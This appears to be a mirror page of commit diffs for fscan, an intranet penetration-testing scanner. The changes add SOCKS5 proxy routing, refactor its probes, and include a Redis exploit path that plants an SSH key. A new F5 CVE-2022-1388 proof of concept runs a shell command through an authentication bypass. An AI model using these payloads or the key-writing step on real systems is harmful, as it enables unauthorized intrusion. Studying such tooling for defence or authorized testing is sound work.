mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 19:51:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b1d85833a7 | ||
|
|
fdffb369c9 | ||
|
|
a2573e10bb | ||
|
|
198abff115 | ||
|
|
cf9389e879 | ||
|
|
85e636fcea | ||
|
|
2cef5c66d6 | ||
|
|
11fb239c61 | ||
|
|
4915539fb3 | ||
|
|
55825f3b7c | ||
|
|
c67d09371f | ||
|
|
9f27655182 | ||
|
|
0b8c0ccc96 | ||
|
|
5bb7502ba3 | ||
|
|
ab60c985a6 | ||
|
|
5c112e0ca8 | ||
|
|
6f15f835f0 | ||
|
|
d774023da7 | ||
|
|
df527adda9 | ||
|
|
2d496cafc9 | ||
|
|
584771114d | ||
|
|
5dcb789e33 | ||
|
|
bb544cfbf3 | ||
|
|
c4950e2a93 |
@@ -3,7 +3,6 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
@@ -106,7 +105,7 @@ func SmbGhost(info *common.HostInfo) error {
|
|||||||
func SmbGhostScan(info *common.HostInfo) error {
|
func SmbGhostScan(info *common.HostInfo) error {
|
||||||
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
||||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+1
-1
@@ -75,7 +75,7 @@ func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
|
|||||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||||
}
|
}
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil{
|
if conn != nil{
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+1
-2
@@ -8,7 +8,6 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"io"
|
"io"
|
||||||
"net"
|
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -184,7 +183,7 @@ type FCGIClient struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||||
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||||
fcgi = &FCGIClient{
|
fcgi = &FCGIClient{
|
||||||
rwc: conn,
|
rwc: conn,
|
||||||
keepAlive: false,
|
keepAlive: false,
|
||||||
|
|||||||
+1
-2
@@ -5,7 +5,6 @@ import (
|
|||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"net"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@@ -23,7 +22,7 @@ func Findnet(info *common.HostInfo) error {
|
|||||||
|
|
||||||
func FindnetScan(info *common.HostInfo) error {
|
func FindnetScan(info *common.HostInfo) error {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
@@ -3,14 +3,13 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"net"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if client != nil{
|
if client != nil{
|
||||||
client.Close()
|
client.Close()
|
||||||
|
|||||||
+1
-2
@@ -4,7 +4,6 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"net"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@@ -26,7 +25,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
|||||||
flag = false
|
flag = false
|
||||||
senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+1
-2
@@ -6,7 +6,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"net"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@@ -34,7 +33,7 @@ func MS17010(info *common.HostInfo) error {
|
|||||||
func MS17010Scan(info *common.HostInfo) error {
|
func MS17010Scan(info *common.HostInfo) error {
|
||||||
ip := info.Host
|
ip := info.Host
|
||||||
// connecting to a host in LAN if reachable should be very quick
|
// connecting to a host in LAN if reachable should be very quick
|
||||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+1
-2
@@ -3,7 +3,6 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"net"
|
|
||||||
"sort"
|
"sort"
|
||||||
"strconv"
|
"strconv"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -74,7 +73,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|||||||
|
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||||
host, port := addr.ip, addr.port
|
host, port := addr.ip, addr.port
|
||||||
conn, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+1
-2
@@ -14,7 +14,6 @@ import (
|
|||||||
"github.com/tomatome/grdp/protocol/tpkt"
|
"github.com/tomatome/grdp/protocol/tpkt"
|
||||||
"github.com/tomatome/grdp/protocol/x224"
|
"github.com/tomatome/grdp/protocol/x224"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
|
||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -127,7 +126,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||||
conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|||||||
+10
-19
@@ -47,7 +47,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
|
|||||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@@ -87,7 +87,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
|||||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@@ -164,10 +164,6 @@ func Expoilt(realhost string, conn net.Conn) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
err = recoverdb(dbfilename, dir, conn)
|
err = recoverdb(dbfilename, dir, conn)
|
||||||
//fmt.Println("dbfilename:")
|
|
||||||
//fmt.Println(dbfilename)
|
|
||||||
//fmt.Println("dir:")
|
|
||||||
//fmt.Println(dir)
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -191,19 +187,14 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
|||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
}
|
||||||
if strings.Contains(text, "OK") {
|
if strings.Contains(text, "OK") {
|
||||||
var key string
|
key, err := Readfile(filename)
|
||||||
if filename == "shadow" {
|
if err != nil {
|
||||||
key = SshPub
|
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
||||||
} else {
|
return flag, text, err
|
||||||
key, err = Readfile(filename)
|
}
|
||||||
if err != nil {
|
if len(key) == 0 {
|
||||||
text = fmt.Sprintf("Open %s error, %v", filename, err)
|
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
||||||
return flag, text, err
|
return flag, text, err
|
||||||
}
|
|
||||||
if len(key) == 0 {
|
|
||||||
text = fmt.Sprintf("the keyfile %s is empty", filename)
|
|
||||||
return flag, text, err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
+1
-1
@@ -97,11 +97,11 @@ func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.W
|
|||||||
common.Num += 1
|
common.Num += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
ScanFunc(PluginList, scantype, &info)
|
ScanFunc(PluginList, scantype, &info)
|
||||||
wg.Done()
|
|
||||||
Mutex.Lock()
|
Mutex.Lock()
|
||||||
common.End += 1
|
common.End += 1
|
||||||
Mutex.Unlock()
|
Mutex.Unlock()
|
||||||
<-ch
|
<-ch
|
||||||
|
wg.Done()
|
||||||
}()
|
}()
|
||||||
ch <- struct{}{}
|
ch <- struct{}{}
|
||||||
}
|
}
|
||||||
|
|||||||
+13
-4
@@ -10,7 +10,6 @@ import (
|
|||||||
"golang.org/x/text/encoding/simplifiedchinese"
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
"io"
|
"io"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"regexp"
|
"regexp"
|
||||||
@@ -190,7 +189,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func gettitle(body []byte) (title string) {
|
func gettitle(body []byte) (title string) {
|
||||||
re := regexp.MustCompile("(?ims)<title>(.*)</title>")
|
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
|
||||||
find := re.FindSubmatch(body)
|
find := re.FindSubmatch(body)
|
||||||
if len(find) > 1 {
|
if len(find) > 1 {
|
||||||
title = string(find[1])
|
title = string(find[1])
|
||||||
@@ -218,13 +217,23 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
conn, err := tls.DialWithDialer(&net.Dialer{Timeout: time.Duration(Timeout) * time.Second}, "tcp", host, &tls.Config{InsecureSkipVerify: true})
|
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
|
defer func() {
|
||||||
|
if err := recover(); err != nil {
|
||||||
|
common.LogError(err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
conn.Close()
|
conn.Close()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
||||||
|
err = conn.Handshake()
|
||||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
||||||
protocol = "https"
|
protocol = "https"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -129,6 +129,12 @@ go build -ldflags="-s -w " -trimpath
|
|||||||
指定Url文件扫描
|
指定Url文件扫描
|
||||||
-wt int
|
-wt int
|
||||||
web访问超时时间 (default 5)
|
web访问超时时间 (default 5)
|
||||||
|
-pocpath string
|
||||||
|
指定poc路径
|
||||||
|
-usera string
|
||||||
|
在原有用户字典基础上,新增新用户
|
||||||
|
-pwda string
|
||||||
|
在原有密码字典基础上,增加新密码
|
||||||
```
|
```
|
||||||
|
|
||||||
## 运行截图
|
## 运行截图
|
||||||
|
|||||||
+10
-6
@@ -163,6 +163,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
DealWithRule := func(rule Rules) (bool, error) {
|
DealWithRule := func(rule Rules) (bool, error) {
|
||||||
|
Headers := cloneMap(rule.Headers)
|
||||||
var (
|
var (
|
||||||
flag, ok bool
|
flag, ok bool
|
||||||
)
|
)
|
||||||
@@ -172,8 +173,11 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
value := fmt.Sprintf("%v", v1)
|
value := fmt.Sprintf("%v", v1)
|
||||||
for k2, v2 := range rule.Headers {
|
for k2, v2 := range Headers {
|
||||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
if !strings.Contains(v2, "{{"+k1+"}}") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||||
}
|
}
|
||||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||||
@@ -190,10 +194,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
|
|
||||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||||
newRequest.Header = oReq.Header.Clone()
|
newRequest.Header = oReq.Header.Clone()
|
||||||
for k, v := range rule.Headers {
|
for k, v := range Headers {
|
||||||
newRequest.Header.Set(k, v)
|
newRequest.Header.Set(k, v)
|
||||||
}
|
}
|
||||||
|
|
||||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
@@ -243,7 +246,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
|
|
||||||
if len(p.Rules) > 0 {
|
if len(p.Rules) > 0 {
|
||||||
success = DealWithRules(p.Rules)
|
success = DealWithRules(p.Rules)
|
||||||
} else { // Groups
|
} else {
|
||||||
for name, rules := range p.Groups {
|
for name, rules := range p.Groups {
|
||||||
success = DealWithRules(rules)
|
success = DealWithRules(rules)
|
||||||
if success {
|
if success {
|
||||||
@@ -594,6 +597,7 @@ func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
|||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
if success == true {
|
if success == true {
|
||||||
|
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2, var3))
|
||||||
break look3
|
break look3
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -716,7 +720,7 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
|
|||||||
if strings.Contains(k, "payload") {
|
if strings.Contains(k, "payload") {
|
||||||
out, err := Evaluate(env, expression, variableMap)
|
out, err := Evaluate(env, expression, variableMap)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
//fmt.Println(err)
|
||||||
variableMap[k] = expression
|
variableMap[k] = expression
|
||||||
} else {
|
} else {
|
||||||
variableMap[k] = fmt.Sprintf("%v", out)
|
variableMap[k] = fmt.Sprintf("%v", out)
|
||||||
|
|||||||
+20
-2
@@ -1,8 +1,11 @@
|
|||||||
package lib
|
package lib
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
|
"errors"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"golang.org/x/net/proxy"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -27,6 +30,7 @@ func Inithttp(PocInfo common.PocInfo) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||||
|
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||||
dialer := &net.Dialer{
|
dialer := &net.Dialer{
|
||||||
Timeout: dialTimout,
|
Timeout: dialTimout,
|
||||||
KeepAlive: keepAlive,
|
KeepAlive: keepAlive,
|
||||||
@@ -36,13 +40,24 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
|
|||||||
DialContext: dialer.DialContext,
|
DialContext: dialer.DialContext,
|
||||||
MaxConnsPerHost: 5,
|
MaxConnsPerHost: 5,
|
||||||
MaxIdleConns: 0,
|
MaxIdleConns: 0,
|
||||||
MaxIdleConnsPerHost: 2,
|
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||||
IdleConnTimeout: keepAlive,
|
IdleConnTimeout: keepAlive,
|
||||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||||
TLSHandshakeTimeout: 5 * time.Second,
|
TLSHandshakeTimeout: 5 * time.Second,
|
||||||
DisableKeepAlives: false,
|
DisableKeepAlives: false,
|
||||||
}
|
}
|
||||||
if DownProxy != "" {
|
|
||||||
|
if common.Socks5Proxy != "" {
|
||||||
|
dialSocksProxy, err := common.Socks5Dailer(dialer)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
|
||||||
|
tr.DialContext = contextDialer.DialContext
|
||||||
|
} else {
|
||||||
|
return errors.New("Failed type assertion to DialContext")
|
||||||
|
}
|
||||||
|
}else if DownProxy != "" {
|
||||||
if DownProxy == "1" {
|
if DownProxy == "1" {
|
||||||
DownProxy = "http://127.0.0.1:8080"
|
DownProxy = "http://127.0.0.1:8080"
|
||||||
} else if DownProxy == "2" {
|
} else if DownProxy == "2" {
|
||||||
@@ -50,6 +65,9 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
|
|||||||
} else if !strings.Contains(DownProxy, "://") {
|
} else if !strings.Contains(DownProxy, "://") {
|
||||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||||
}
|
}
|
||||||
|
if !strings.HasPrefix(DownProxy,"socks") && !strings.HasPrefix(DownProxy,"http") {
|
||||||
|
return errors.New("no support this proxy")
|
||||||
|
}
|
||||||
u, err := url.Parse(DownProxy)
|
u, err := url.Parse(DownProxy)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
name: poc-yaml-f5-cve-2022-1388
|
||||||
|
set:
|
||||||
|
r1: randomInt(800000000, 1000000000)
|
||||||
|
r2: randomInt(800000000, 1000000000)
|
||||||
|
rules:
|
||||||
|
- method: POST
|
||||||
|
path: /mgmt/tm/util/bash
|
||||||
|
headers:
|
||||||
|
Content-Type: application/json
|
||||||
|
Connection: keep-alive, x-F5-Auth-Token
|
||||||
|
X-F5-Auth-Token: a
|
||||||
|
Authorization: Basic YWRtaW46
|
||||||
|
body: >-
|
||||||
|
{"command":"run","utilCmdArgs":"-c 'expr {{r1}} + {{r2}}'"}
|
||||||
|
follow_redirects: false
|
||||||
|
expression: |
|
||||||
|
response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
|
||||||
|
detail:
|
||||||
|
author: jindaxia
|
||||||
|
links:
|
||||||
|
- https://support.f5.com/csp/article/K23605346
|
||||||
+24
-27
@@ -12,10 +12,10 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func Parse(Info *HostInfo) {
|
func Parse(Info *HostInfo) {
|
||||||
ParseScantype(Info)
|
|
||||||
ParseUser(Info)
|
ParseUser(Info)
|
||||||
ParsePass(Info)
|
ParsePass(Info)
|
||||||
ParseInput(Info)
|
ParseInput(Info)
|
||||||
|
ParseScantype(Info)
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseUser(Info *HostInfo) {
|
func ParseUser(Info *HostInfo) {
|
||||||
@@ -119,6 +119,9 @@ func ParseInput(Info *HostInfo) {
|
|||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if BruteThread <= 0 {
|
||||||
|
BruteThread = 1
|
||||||
|
}
|
||||||
if TmpOutputfile != "" {
|
if TmpOutputfile != "" {
|
||||||
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
||||||
Outputfile = getpath() + TmpOutputfile
|
Outputfile = getpath() + TmpOutputfile
|
||||||
@@ -161,33 +164,27 @@ func ParseScantype(Info *HostInfo) {
|
|||||||
if !ok {
|
if !ok {
|
||||||
showmode()
|
showmode()
|
||||||
}
|
}
|
||||||
if Info.Scantype != "all" {
|
if Info.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
||||||
if Info.Ports == DefaultPorts {
|
switch Info.Scantype {
|
||||||
switch Info.Scantype {
|
case "rdp":
|
||||||
case "rdp":
|
Info.Ports = "3389"
|
||||||
Info.Ports = "3389"
|
case "web":
|
||||||
case "wmi":
|
Info.Ports = Webport
|
||||||
Info.Ports = "135"
|
case "webonly":
|
||||||
case "web":
|
Info.Ports = Webport
|
||||||
Info.Ports = Webport
|
case "ms17010":
|
||||||
case "webonly":
|
Info.Ports = "445"
|
||||||
Info.Ports = Webport
|
case "cve20200796":
|
||||||
case "ms17010":
|
Info.Ports = "445"
|
||||||
Info.Ports = "445"
|
case "portscan":
|
||||||
case "cve20200796":
|
Info.Ports = DefaultPorts + "," + Webport
|
||||||
Info.Ports = "445"
|
case "main":
|
||||||
case "smb2":
|
Info.Ports = DefaultPorts
|
||||||
Info.Ports = "445"
|
default:
|
||||||
case "portscan":
|
port, _ := PORTList[Info.Scantype]
|
||||||
Info.Ports = DefaultPorts + "," + Webport
|
Info.Ports = strconv.Itoa(port)
|
||||||
case "main":
|
|
||||||
Info.Ports = DefaultPorts
|
|
||||||
default:
|
|
||||||
port, _ := PORTList[Info.Scantype]
|
|
||||||
Info.Ports = strconv.Itoa(port)
|
|
||||||
}
|
|
||||||
fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
|
|
||||||
}
|
}
|
||||||
|
fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -86,9 +86,6 @@ func parseIP(ip string) []string {
|
|||||||
//解析 /24 /16 /8 /xxx 等
|
//解析 /24 /16 /8 /xxx 等
|
||||||
case strings.Contains(ip, "/"):
|
case strings.Contains(ip, "/"):
|
||||||
return parseIP2(ip)
|
return parseIP2(ip)
|
||||||
//192.168.1.1-192.168.1.100
|
|
||||||
case strings.Contains(ip, "-"):
|
|
||||||
return parseIP1(ip)
|
|
||||||
//可能是域名,用lookup获取ip
|
//可能是域名,用lookup获取ip
|
||||||
case reg.MatchString(ip):
|
case reg.MatchString(ip):
|
||||||
// _, err := net.LookupHost(ip)
|
// _, err := net.LookupHost(ip)
|
||||||
@@ -96,6 +93,9 @@ func parseIP(ip string) []string {
|
|||||||
// return nil
|
// return nil
|
||||||
// }
|
// }
|
||||||
return []string{ip}
|
return []string{ip}
|
||||||
|
//192.168.1.1-192.168.1.100
|
||||||
|
